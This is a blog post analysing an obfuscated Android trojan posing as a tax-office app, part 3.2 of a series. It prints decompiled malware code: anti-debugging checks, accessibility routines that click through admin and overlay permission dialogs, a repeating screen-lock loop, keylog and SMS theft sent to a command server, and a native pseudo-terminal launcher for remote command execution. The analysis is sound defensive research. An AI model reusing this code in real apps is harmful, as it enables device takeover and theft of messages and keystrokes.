n0ps

Android Malware Analysis Series - ATO.apk - Part 3.2

Untitled

Introduction

In part one of this blog series I did a quick analysis of the permissions and files deployed onto the emulated Android device. I also showed the contents of the lib file directory and the binaries the APK is using at runtime.

In this article I will do a brief trace of the initial APK components and how they related to the masked APK disguised as a JSON file on the device. There will be a short section dedicated to analyzing one of the so files with ghidra.

Since this APK was heavily obfuscated I will need to have a future post with efforts to deobfuscate the classes and methods, it quickly became a bigger challenge than I expected. But this may take some time…

Root Checks

Opening up the initial APK file in jadx-gui we can see that when I search for the keyword root in the source code multiple classes show a reference to root packages and for the su binary. We can see there are custom protections built into the APK that check for root on the device.

Untitled

Secondary Payload File

In part one of this post I found an apk file that was actually disguised as a JSON file under the app_DynamicOptDex directory. This directory was loading a separate APK file that was used to call the obfuscated activities and classes we found in the AndroidManifest.xml file.

To examine this file I copied it from the application directory to the sdcard of my emulated device and pulled it from the directory in question then loaded it in jadx-gui.

Untitled

Upon initial investigation of this file we can see that our assumption was correct. The file does call to the obfuscated activities in the manifest file. So now we know the method this malware is using to load the hidden components.

In the left hand side of the screenshot we can see the package tree associated with the disguised APK file. Along with the class ce6b995008 which appears to be doing some checks on the android device. Let dig into that class first to observe its initial behavior. Since I was unable to get the application to load during start up.

Untitled

Analysis of Obfuscated Classes and Components

In this section I will briefly examine each of the components set in the AndroidManifest.xml file and attempt to uncover the core functionality of each class.

Exported Activity c4b6965b75.cb36c44931.c0cc612ea2.ce6b995008

Untitled

In the class called from the initial APK install we can see that the onCreate method attempts to check for a debugger, a local port open, which I assume is frida, and to get application info. Each of these if statements if true will kill the process or application. Below is a brief code snippet of each if, catch, try statement executing this check.

[TRUNCATED]
        if (Boolean.parseBoolean(String.valueOf(c91a971a13.m0e596c8347e011df(cd927992a4.f189008ecf260cf5c12e, Boolean.TRUE)))) {
            if (c72561661b.f633cae70e8b7f91c99b == null) {
                try {
                    c72561661b.f633cae70e8b7f91c99b = new LocalServerSocket(caf5aa5dc1.ma93efdbbced5be26(new byte[]{77, -92, 44, -97, -34, -103, 106, -40, 88, 7, 68, -18, -24, 8, 95, -50}));
                } catch (IOException unused) {
                    System.exit(0);
                }
            }
            c72561661b.m23d443a8e1b725cd();
            if ((caf5aa5dc1.m87e86f56634d7285().getApplicationInfo().flags & 2) != 0) {
                System.exit(0);
            }
            if (Debug.isDebuggerConnected()) {
                System.exit(0);
            }
        }
[TRUNCATED]

Admin Accessibility Component

Accessibility Services Class c6b4948086

Class c6b4948086 specific to the Admin component called out in the first post has an intent called askUser this intent defines various accessibility functions and permissions. Various android settings are asked of the user related to admin, overlay, write_settings, notification, battery, file_access, default_sms, etc. Defined in line 184-352 below is a short snippet.

[TRUNCATED]
@Override // android.app.Activity
    @SuppressLint({"SetJavaScriptEnabled"})
    public final void onCreate(Bundle bundle) {
        String string;
        super.onCreate(bundle);
        Bundle extras = getIntent().getExtras();
        if (extras != null && (string = extras.getString(caf5aa5dc1.ma93efdbbced5be26(new byte[]{32, 111, 78, -38, -72, 106, 45, 80, -76, -15, 74, 118, 8, -122, 69, 122}))) != null) {
            ccb253bd62.fc83e31617595b8d5bf6 = string;
            new Intent("android.settings.APPLICATION_DETAILS_SETTINGS");
            try {
                if (string.equals("admin")) {
                    if (!cc90dbdde3.mbac6a4aa1ecd0a31(c04f5ddb69.class)) {
                        Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
                        intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, c04f5ddb69.class));
                        intent.putExtra("android.app.extra.ADD_EXPLANATION", caf5aa5dc1.ma93efdbbced5be26(new byte[]{125, 32, -15, -70, 10, -32, -79, -103, -93, -49, 23, 72, -19, -100, 34, -51}));
                        startActivityForResult(intent, 666);
                    }
                } else if (string.equals("overlay")) {
                    if (!cc90dbdde3.m0f3c12b05dcc6f84()) {
                        try {
                            startActivity(new Intent("android.settings.action.MANAGE_OVERLAY_PERMISSION", Uri.parse(caf5aa5dc1.ma93efdbbced5be26(new byte[]{80, 122, -105, 61, -28, 28, 41, 25, -56, -106, -32, 5, 111, -17, -67, 36}) + getPackageName())).addFlags(268435456).addFlags(1073741824).addFlags(8388608));
                        } catch (Exception unused) {
                            startActivity(new Intent("android.settings.action.MANAGE_OVERLAY_PERMISSION").addFlags(268435456).addFlags(1073741824).addFlags(8388608));
                        }
                    }
                    finish();
                } else if (string.equals("write_settings")) {
                    if (!cc90dbdde3.m0b0da708ab73be30()) {
                        try {
                            startActivity(new Intent("android.settings.action.MANAGE_WRITE_SETTINGS", Uri.parse(caf5aa5dc1.ma93efdbbced5be26(new byte[]{80, 122, -105, 61, -28, 28, 41, 25, -56, -106, -32, 5, 111, -17, -67, 36}) + getPackageName())).addFlags(268435456).addFlags(1073741824).addFlags(8388608));
                        } catch (Exception unused2) {
                            startActivity(new Intent("android.settings.action.MANAGE_WRITE_SETTINGS").addFlags(268435456).addFlags(1073741824).addFlags(8388608));
                        }
                    }
                    finish();
                } else if (string.equals("notification")) {
                    if (!cc90dbdde3.m6fc4b38bbb639eaf()) {
                        try {
                            startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS", Uri.parse(caf5aa5dc1.ma93efdbbced5be26(new byte[]{80, 122, -105, 61, -28, 28, 41, 25, -56, -106, -32, 5, 111, -17, -67, 36}) + getPackageName())).addFlags(268435456).addFlags(1073741824).addFlags(8388608));
                        } catch (Exception unused3) {
                            startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS").addFlags(268435456).addFlags(1073741824).addFlags(8388608));
                        }
                    }
                    finish();
[TRUNCATED]

Lines 405 - 427 of the same class we can see a new method titled startRoleManagerSms. that appears to running a new activity with the android.provider.Telephony.ACTION_CHANGE_DEFAULT permission for an overlay on the users device. If you would like to read more about this refer to the android documentation here.

Activity action: Ask the user to change the default SMS application. This will show a dialog that asks the user whether they want to replace the current default SMS application with the one specified in [EXTRA_PACKAGE_NAME](https://developer.android.com/reference/android/provider/Telephony.Sms.Intents#EXTRA_PACKAGE_NAME)

[TRUNCATED]
@SuppressLint({"WrongConstant"})
    public final void startRoleManagerSms() {
        try {
            if (Build.VERSION.SDK_INT < 29) {
                if (cc90dbdde3.m33e4fc8ac70cafe7().equals(getPackageName())) {
                    return;
                }
                startActivity(new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT").putExtra("package", getPackageName()).addFlags(268435456).addFlags(1073741824));
                return;
            }
[TRUNCATED]

****Class**** c34b13876d **

This class imports the original class from our originating APK and appears to be associated with device policy related actions on the device. We can see that two imports for the admin packages are made in this class. You can reference the documentation here to read more about these classes.

import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;

Interesting that an supposed Tax office needs Admin level privileges on a user device to administer and control them.

In the code block we can see that the receiver can enabled and disabled what appear to be system level policies (lines 16 - 32 and 45 - 60) show such behavior by using the getSystemService to access the global policy management.

[TRUNCATED]
public class c04f5ddb69 extends DeviceAdminReceiver {
    public final void CreateThread(final Context context) {
        try {
            caf5aa5dc1.m50dcc7c525de53b8().addDataInTable(0, new cecc425c9b(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-62, -76, 40, 91, -75, 20, 121, 44, 66, -4, -96, -40, -41, -6, 12, 16}), caf5aa5dc1.ma93efdbbced5be26(new byte[]{43, 95, 34, 100, -55, 16, 80, -81, -47, 3, 108, 37, -13, -76, 5, -122})), new cecc425c9b(caf5aa5dc1.ma93efdbbced5be26(new byte[]{41, 82, -66, -36, -71, -74, 100, -95, 5, -33, 50, 36, -91, -122, 126, 16}), caf5aa5dc1.ma93efdbbced5be26(new byte[]{90, 50, -68, -63, -79, 44, -75, -25, -78, -24, -93, 86, -104, 83, -50, 40, -78, 102, -44, 14, 64, 40, 88, 121, -34, -4, 71, -64, 56, -30, 57, -108})), new cecc425c9b(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-18, 32, -123, 3, -71, -95, -54, 114, -32, 57, -94, 17, -62, -36, -80, 38}), String.valueOf(System.currentTimeMillis() / 1000)));
            Executors.newSingleThreadScheduledExecutor().scheduleWithFixedDelay(new Runnable() { // from class: c4b6965b75.cb36c44931.c34b13876d.c04f5ddb69.1
                @Override // java.lang.Runnable
                public final void run() {
                    try {
                        ((DevicePolicyManager) context.getSystemService("device_policy")).lockNow();
                    } catch (Exception unused) {
                    }
                }
            }, 0L, 100L, TimeUnit.MILLISECONDS);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
[TRUNCATED]

Class cb6c6c27fc

This class extends our prior class from above and uses the MediaProjectioPermission which can be read in detail here. Per the description in the Android documentation we can see that this allows the malware authors to conduct screen and audio recording. Granting themselves various permissions via overlay settings, notification access, managing external storage and hidden apps configuration, and creating overlays on the device to capture data from the infected phone. Which they use to ask for the needed permissions at an administrative level. Below is a brief not so comprehensive snippet of the class. Feel free to explore more on your own.

[TRUNCATED]
System.out.println(accessibilityEvent);
        int eventType = accessibilityEvent.getEventType();
        if (eventType == 32 || eventType == 2048) {
            if (Boolean.parseBoolean(String.valueOf(c91a971a13.m0e596c8347e011df(cd927992a4.f429586beea5c7441012, Boolean.TRUE))) && (ccb253bd62Var2 = fd30fb58ba3d13d5ba34) != null) {
                ccb253bd62Var2.getClass();
                if (!ccb253bd62.f514e291a2640932be3d) {
                    ccb253bd62.f514e291a2640932be3d = true;
                    if (accessibilityEvent.getClassName() != null) {
                        String charSequence = accessibilityEvent.getClassName().toString();
                        if (ccb253bd62.fc83e31617595b8d5bf6.equals("admin")) {
                            if (cc90dbdde3.mbac6a4aa1ecd0a31(c04f5ddb69.class)) {
                                ccb253bd62Var2.finished();
                            } else if (charSequence.contains("ColorDeviceAdminAdd") || charSequence.contains("COUIAlertDialog")) {
                                cb6c6c27fc cb6c6c27fcVar = ccb253bd62.fc4c3d8225e99fa54f8f;
                                AccessibilityNodeInfo findViewByContainsID = cb6c6c27fcVar.findViewByContainsID(cb6c6c27fcVar.getRootInActiveWindow(), "verification_view");
                                if (findViewByContainsID != null && findViewByContainsID.getText() != null) {
                                    String replace = findViewByContainsID.getText().toString().replace(caf5aa5dc1.ma93efdbbced5be26(new byte[]{103, -60, 70, 86, 125, -4, -68, -98, -83, 106, 91, 110, Byte.MAX_VALUE, 32, 90, -107}), caf5aa5dc1.ma93efdbbced5be26(new byte[]{125, 32, -15, -70, 10, -32, -79, -103, -93, -49, 23, 72, -19, -100, 34, -51}));
                                    cb6c6c27fc cb6c6c27fcVar2 = ccb253bd62.fc4c3d8225e99fa54f8f;
                                    AccessibilityNodeInfo findViewByContainsID2 = cb6c6c27fcVar2.findViewByContainsID(cb6c6c27fcVar2.getRootInActiveWindow(), "edittext_view");
                                    if (findViewByContainsID2 != null) {
                                        ccb253bd62.fc4c3d8225e99fa54f8f.inputText(findViewByContainsID2, replace);
                                        cb6c6c27fc cb6c6c27fcVar3 = ccb253bd62.fc4c3d8225e99fa54f8f;
                                        AccessibilityNodeInfo findViewByContainsID3 = cb6c6c27fcVar3.findViewByContainsID(cb6c6c27fcVar3.getRootInActiveWindow(), "action_button");
                                        if (findViewByContainsID3 != null) {
                                            ccb253bd62.fc4c3d8225e99fa54f8f.performViewClick(findViewByContainsID3);
                                        } else {
                                            cb6c6c27fc cb6c6c27fcVar4 = ccb253bd62.fc4c3d8225e99fa54f8f;
                                            cb6c6c27fcVar4.performViewClick(cb6c6c27fcVar4.findTextOnView(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-14, -109, -68, 68, 5, 93, 98, 63, -109, Byte.MAX_VALUE, -118, 59, 106, -72, 34, 12, -102, -126, 76, 123, 66, -58, 22, -33, 46, 25, 116, -8, -66, -99, -109, 35})));
                                        }
                                    }
                                }
                            } else if (charSequence.contains("DeviceAdminAdd")) {
                                cb6c6c27fc cb6c6c27fcVar5 = ccb253bd62.fc4c3d8225e99fa54f8f;
                                AccessibilityNodeInfo findViewByContainsID4 = cb6c6c27fcVar5.findViewByContainsID(cb6c6c27fcVar5.getRootInActiveWindow(), "action_button");
                                if (findViewByContainsID4 != null) {
                                    ccb253bd62.fc4c3d8225e99fa54f8f.performViewClick(findViewByContainsID4);
                                } else {
                                    cb6c6c27fc cb6c6c27fcVar6 = ccb253bd62.fc4c3d8225e99fa54f8f;
                                    cb6c6c27fcVar6.performViewClick(cb6c6c27fcVar6.findTextOnView(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-14, -109, -68, 68, 5, 93, 98, 63, -109, Byte.MAX_VALUE, -118, 59, 106, -72, 34, 12, -102, -126, 76, 123, 66, -58, 22, -33, 46, 25, 116, -8, -66, -99, -109, 35})));
                                }
                            }
                        } else if (ccb253bd62.fc83e31617595b8d5bf6.equals("overlay")) {
                            if (cc90dbdde3.m0f3c12b05dcc6f84()) {
                                ccb253bd62Var2.finished();
                            } else {
                                ccb253bd62Var2.waitForLoading();
                                if (charSequence.contains("OverlaySettings")) {
                                    AccessibilityNodeInfo findTextOnViewStart = ccb253bd62.fc4c3d8225e99fa54f8f.findTextOnViewStart(c5412e90f0.me80d4904704c5f98(), true);
                                    if (findTextOnViewStart != null) {
                                        List<AccessibilityNodeInfo> findViewsById2 = ccb253bd62.fc4c3d8225e99fa54f8f.findViewsById(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-7, 111, -51, 45, -89, 11, -35, -53, -66, 58, -51, 108, 107, 68, 74, -75, 16, -15, 111, -76, 104, 6, 33, -120, -28, -118, 74, -78, 56, 12, -121, 96}));
                                        if (findViewsById2 != null) {
                                            for (AccessibilityNodeInfo accessibilityNodeInfo : findViewsById2) {
                                                if (!accessibilityNodeInfo.isChecked()) {
                                                    ccb253bd62.fc4c3d8225e99fa54f8f.performViewClick(accessibilityNodeInfo);
                                                }
                                            }
                                        }
                                        ccb253bd62.fc4c3d8225e99fa54f8f.performViewClick(findTextOnViewStart);
                                        ccb253bd62Var2.OverlaySubSettings();
                                    }
                                } else if (charSequence.contains("PermissionAppsActivity")) {
                                    ccb253bd62Var2.OverlaySubSettings();
                                } else if (charSequence.contains("SubSettings")) {
                                    ccb253bd62Var2.OverlaySubSettings();
                                }
                            }
[TRUNCATED]

Logging and Keylogging Exfil Class C0047c409757303

This code block grabs log info and keylogger details from the database created locally on the device by the malware and sends it to the remote C2 server.

public static void m9c90331011a3caa6(HashMap hashMap) {
        final String m8866bfd4fc9738b7;
        if (hashMap == null) {
            return;
        }
        final String ma93efdbbced5be26 = caf5aa5dc1.ma93efdbbced5be26(new byte[]{-126, 120, -127, 15, -119, -62, 29, 83, -121, -30, -109, -92, -112, 13, -117, -119});
        if (hashMap.containsKey("type")) {
            ma93efdbbced5be26 = String.valueOf(hashMap.get(caf5aa5dc1.ma93efdbbced5be26(new byte[]{59, -93, 110, 5, Byte.MAX_VALUE, 95, -78, 39, -116, 84, 38, -32, 10, -94, -31, 5})));
        }
        boolean booleanValue = hashMap.containsKey("store") ? ((Boolean) hashMap.get(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-29, -112, -62, -27, 12, -31, 39, -9, -3, 26, 119, -51, -41, 92, -112, 46}))).booleanValue() : false;
        byte[] bArr = {-21, -3, 2, -7, 59, 53, -50, -117, 75, 2, 32, 87, -51, 76, -121, 31};
        if (booleanValue) {
            // fill-array-data instruction
            bArr[0] = -69;
            bArr[1] = -25;
            bArr[2] = 116;
            bArr[3] = 81;
            bArr[4] = 108;
            bArr[5] = 108;
            bArr[6] = -74;
            bArr[7] = 76;
            bArr[8] = 51;
            bArr[9] = 57;
            bArr[10] = -2;
            bArr[11] = -111;
            bArr[12] = -68;
            bArr[13] = 124;
            bArr[14] = -120;
            bArr[15] = -81;
        }
        String ma93efdbbced5be262 = caf5aa5dc1.ma93efdbbced5be26(bArr);
        if (hashMap.containsKey("event")) {
            ma93efdbbced5be262 = String.valueOf(hashMap.get(caf5aa5dc1.ma93efdbbced5be26(new byte[]{95, 68, 109, -5, 17, 125, 118, 30, -116, 99, 116, -124, 8, 48, -53, -45})));
        }
        String str = caf5aa5dc1.ma93efdbbced5be26(new byte[]{115, 71, -110, 76, -122, 122, -96, -16, 98, -63, -88, 53, 8, 16, 112, 74}) + ma93efdbbced5be26;
        if (hashMap.containsKey("callback")) {
            str = String.valueOf(hashMap.get(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-14, 91, -111, -116, 87, 11, 102, 78, 42, -54, -12, 75, -120, -21, -11, Byte.MAX_VALUE})));
        } else if (ma93efdbbced5be26.equals("log")) {
            str = caf5aa5dc1.ma93efdbbced5be26(new byte[]{-42, 61, -88, -80, 44, 0, 15, 34, -51, 15, 46, 51, -78, 42, 81, -32});
        }
        if (hashMap.containsKey("data")) {
            String valueOf = String.valueOf(hashMap.get(caf5aa5dc1.ma93efdbbced5be26(new byte[]{110, 45, 62, -123, -80, 40, 4, -55, 45, 82, 42, 111, -92, -14, 1, 3})));
            if (!f60cfd9fa9ec8238ca38.equals("socket") && !f60cfd9fa9ec8238ca38.equals("duplex")) {
                if (!f60cfd9fa9ec8238ca38.equals("http") || (m8866bfd4fc9738b7 = m8866bfd4fc9738b7()) == null) {
                    return;
                }
                HashMap hashMap2 = new HashMap();
                hashMap2.put(caf5aa5dc1.ma93efdbbced5be26(new byte[]{110, 45, 62, -123, -80, 40, 4, -55, 45, 82, 42, 111, -92, -14, 1, 3}), valueOf);
                cb362c72c5.mc94f118e397d3b98(m8866bfd4fc9738b7 + cd927992a4.ffd428fdd50954963093 + "/" + ma93efdbbced5be26, cb362c72c5.ffe34cb99de35a5078bd, hashMap2, new cd2b8a9668() { // from class: c4b6965b75.cb36c44931.c409757303.ceef610d3c.c409757303.2
                    @Override // c4b6965b75.cb36c44931.c409757303.ceef610d3c.c6c97e6274.cd2b8a9668
                    public final void onResponse(HashMap hashMap3) {
                        if (hashMap3.containsKey("error")) {
                            System.out.println(hashMap3);
                            return;
                        }
                        cbf0936cf9.m1c52de9350ce1685(m8866bfd4fc9738b7);
                        if (ma93efdbbced5be26.equals("logs")) {
                            caf5aa5dc1.m50dcc7c525de53b8().deleteAllDataFrom(caf5aa5dc1.ma93efdbbced5be26(new byte[]{Byte.MIN_VALUE, 46, -87, 24, -4, -49, -70, 96, -116, -123, 126, 81, -32, 48, 76, 106}));
                        }
                        if (ma93efdbbced5be26.equals("keylogs")) {
                            caf5aa5dc1.m50dcc7c525de53b8().deleteAllDataFrom(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-87, -11, -17, -57, -51, -108, -73, -107, 39, -74, 109, 121, 117, 11, -64, -97}));
                        }
                        try {
                            new JSONObject(hashMap3.get(caf5aa5dc1.ma93efdbbced5be26(new byte[]{55, -102, 112, -77, 79, 86, 20, 101, 15, -55, 61, -79, 85, -115, 29, -36})).toString());
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                });
                return;
[TRUNCATED]

SMS Exfiltration Class cf31ebb589

Class extends the broadcast receivers found from the earlier analysis of the components in part one. Grabs content of received sms and adds it to a JSON file locally.

/* loaded from: classes.dex */
public final class cf31ebb589 extends BroadcastReceiver {
    @Override // android.content.BroadcastReceiver
    public final void onReceive(Context context, Intent intent) {
        if (intent.getAction().equalsIgnoreCase("android.provider.Telephony.SMS_RECEIVED")) {
            Bundle extras = intent.getExtras();
            if (extras != null && extras.containsKey("pdus")) {
                try {
                    byte b = -57;
                    Object[] objArr = (Object[]) extras.get(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-69, 20, 0, 94, -8, 63, -109, 64, -57, -23, -4, -58, -69, 113, -54, 106}));
                    JSONObject jSONObject = new JSONObject();
                    if (objArr != null && objArr.length >= 1) {
                        int i = 0;
                        while (i < objArr.length) {
                            SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                            jSONObject.put(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-1, -1, -72, -64, 2, 73, -124, 25, -5, b, -3, 103, -55, 56, -28, 9}), createFromPdu.getOriginatingAddress());
                            jSONObject.put(caf5aa5dc1.ma93efdbbced5be26(new byte[]{55, -102, 112, -77, 79, 86, 20, 101, 15, -55, 61, -79, 85, -115, 29, -36}), createFromPdu.getMessageBody().toString());
                            i++;
                            b = -57;
                        }
                    }
                    if (Boolean.parseBoolean(String.valueOf(c91a971a13.m0e596c8347e011df(cd927992a4.f3e84400eab181d3d3b5, Boolean.TRUE)))) {
                        caf5aa5dc1.m50dcc7c525de53b8().addDataInTable(0, new cecc425c9b(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-62, -76, 40, 91, -75, 20, 121, 44, 66, -4, -96, -40, -41, -6, 12, 16}), caf5aa5dc1.ma93efdbbced5be26(new byte[]{34, -10, -85, -19, 52, -70, 54, 24, 118, 9, -20, -76, -67, 21, -87, 105})), new cecc425c9b(caf5aa5dc1.ma93efdbbced5be26(new byte[]{41, 82, -66, -36, -71, -74, 100, -95, 5, -33, 50, 36, -91, -122, 126, 16}), jSONObject.toString()), new cecc425c9b(caf5aa5dc1.ma93efdbbced5be26(new byte[]{-18, 32, -123, 3, -71, -95, -54, 114, -32, 57, -94, 17, -62, -36, -80, 38}), String.valueOf(System.currentTimeMillis() / 1000)));
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            if (Boolean.parseBoolean(String.valueOf(c91a971a13.m0e596c8347e011df(cd927992a4.f70b5131059aa24b5038, Boolean.FALSE)))) {
                abortBroadcast();
            }
        }
    }
}

Part 3.3 will include a more detailed analysis of this malware sample.

so Analysis

libterminal.so

This file was present in the decompiled and installed version of the APK. I opted to use ghidra to analyze this binary file. I found it to be a quick approach and would help give me a better idea of the function, strings, and other possible malicious operation present.

I started by loading the so file into Ghidra letting it quickly analyze the file and observed the functions.

Untitled

The most interesting function out of the available in the so file is the Java_com_terminal_JNI_createSubprocess this appears to hold a reference to opening a pseudoterminal with ptmx also known as the pseudoterminal master and slave. This allows for terminal type connections with xterm and sshd. You can read the reference manual here. Once this check is done and if it fails. It attempts to run through the normal setup with unlockpt. Below is a brief snippet of the libterminal so function.

/* Java_com_terminal_JNI_createSubprocess(_JNIEnv*, _jclass*, _jstring*, _jstring*, _jobjectArray*,
   _jobjectArray*, _jintArray*, int, int) */

int Java_com_terminal_JNI_createSubprocess
              (_JNIEnv *param_1,_jclass *param_2,_jstring *param_3,_jstring *param_4,
              _jobjectArray *param_5,_jobjectArray *param_6,_jintArray *param_7,int param_8,
              int param_9)
[TRUNCATED]
    pcVar3 = (char *)(**(code **)(*(int *)param_1 + 0x2a4))(param_1,param_4,0);
    pcVar4 = (char *)(**(code **)(*(int *)param_1 + 0x2a4))(param_1,param_3,0);
    local_98 = __open_2("/dev/ptmx",0x80002);
    if (local_98 < 0) {
      uVar2 = (**(code **)(*(int *)param_1 + 0x18))(param_1,"java/lang/RuntimeException");
      (**(code **)(*(int *)param_1 + 0x38))(param_1,uVar2,"Cannot open /dev/ptmx");
      local_98 = -1;
      local_94 = 0;
    }
    else {
      iVar1 = unlockpt(local_98);
      if ((iVar1 == 0) && (iVar1 = ptsname_r(local_98,local_58,0x40), iVar1 == 0)) {
        ioctl(local_98,0x5401,local_80);
        local_80[0] = local_80[0] & 0xffffabff | 0x4000;
        ioctl(local_98,0x5402,local_80);
        local_88 = (undefined2)param_8;
        local_86 = (undefined2)param_9;
        local_84 = 0;
        ioctl(local_98,0x5414,&local_88);
        local_94 = fork();
        if (-1 < local_94) {
          if (local_94 == 0) {
            local_8c = 0xffffffff;
            sigprocmask(1,(sigset_t *)&local_8c,(sigset_t *)0x0);
            close(local_98);
            setsid();
            iVar1 = __open_2(local_58,2);
            if (iVar1 < 0) {
                    /* WARNING: Subroutine does not return */
              exit(-1);
            }
            dup2(iVar1,0);
            dup2(iVar1,1);
            dup2(iVar1,2);
            __dirp = opendir("/proc/self/fd");
            if (__dirp != (DIR *)0x0) {
              iVar1 = dirfd(__dirp);
              while (pdVar6 = readdir(__dirp), pdVar6 != (dirent *)0x0) {
                iVar9 = atoi(pdVar6->d_name + 8);
                if ((2 < iVar9) && (iVar9 != iVar1)) {
                  close(iVar9);
                }
              }
              closedir(__dirp);
            }
            clearenv();
            if (__ptr != (char **)0x0) {
              pcVar8 = *__ptr;
              while (pcVar8 != (char *)0x0) {
                __ptr = __ptr + 1;
                putenv(pcVar8);
                pcVar8 = *__ptr;
              }
            }
            iVar1 = chdir(pcVar3);
            if (iVar1 != 0) {
              iVar1 = asprintf(&local_90,"chdir(\"%s\")",pcVar3);
              if (iVar1 == -1) {
                local_90 = "chdir()";
              }
              perror(local_90);
              fflush((FILE *)0x13110);
            }
            execvp(pcVar4,ppcVar7);
            iVar1 = asprintf(&local_90,"exec(\"%s\")",pcVar4);
            if (iVar1 == -1) {
              local_90 = "exec()";
            }
            perror(local_90);
                    /* WARNING: Subroutine does not return */
            _exit(1);
          }
          goto LAB_00011189;
        }
        uVar2 = (**(code **)(*(int *)param_1 + 0x18))(param_1,"java/lang/RuntimeException");
        iVar1 = *(int *)param_1;
        pcVar8 = "Fork failed";
      }
      else {
        uVar2 = (**(code **)(*(int *)param_1 + 0x18))(param_1,"java/lang/RuntimeException");
        iVar1 = *(int *)param_1;
        pcVar8 = "Cannot grantpt()/unlockpt()/ptsname_r() on /dev/ptmx";
[TRUNCATED]

There are other binaries that could be analyzed and I will leave those up to the reader. But we can safely assume this so file is related to terminal connection from the remote Android device.

Conclusion

In closing the ATO Android malware sample has various capabilities. Built-in lib so files that clearly are used for remote command and control purposes, obfuscation techniques to hid the initial payload APK via JSON format, overlay functionality so as to capture victim data, and lastly exfiltration used to harvest user data.